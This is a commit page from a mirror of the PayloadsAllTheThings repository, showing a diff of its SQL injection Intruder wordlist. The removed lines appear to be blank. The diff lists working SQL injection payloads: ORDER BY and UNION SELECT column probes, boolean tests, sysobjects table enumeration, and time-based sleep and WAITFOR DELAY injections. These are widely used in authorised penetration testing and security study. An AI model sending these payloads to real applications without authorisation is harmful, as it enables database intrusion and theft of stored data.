ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-20 03:16:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update SQL-Injection

Browse Source
This commit is contained in:
beomsu317 2020-05-14 15:29:52 +09:00 committed by GitHub
parent e95a4aeac0
commit 4c3cb6f530
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
SQL Injection/Intruder/SQL-Injection
View File

@ -29,11 +29,8 @@
+ addition, concatenate (or space in url) + addition, concatenate (or space in url)
|| (double pipe) concatenate || (double pipe) concatenate
% wildcard attribute indicator % wildcard attribute indicator
@variable local variable @variable local variable
@@variable global variable @@variable global variable
# Numeric # Numeric
AND 1 AND 1
AND 0 AND 0
@ -43,44 +40,27 @@ AND false
1-true 1-true
1*56 1*56
-2 -2
1' ORDER BY 1--+ 1' ORDER BY 1--+
1' ORDER BY 2--+ 1' ORDER BY 2--+
1' ORDER BY 3--+ 1' ORDER BY 3--+
1' ORDER BY 1,2--+ 1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+ 1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+ 1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 -- ' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+ -1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename -- ' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@ -1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1 1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5'; ' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Finding the table name Finding the table name
Time-Based: Time-Based:
,(select * from (select(sleep(10)))a) ,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'-- ';WAITFOR DELAY '0:0:30'--
Comments: Comments:
# Hash comment # Hash comment
/* C-style comment /* C-style comment
-- - SQL comment -- - SQL comment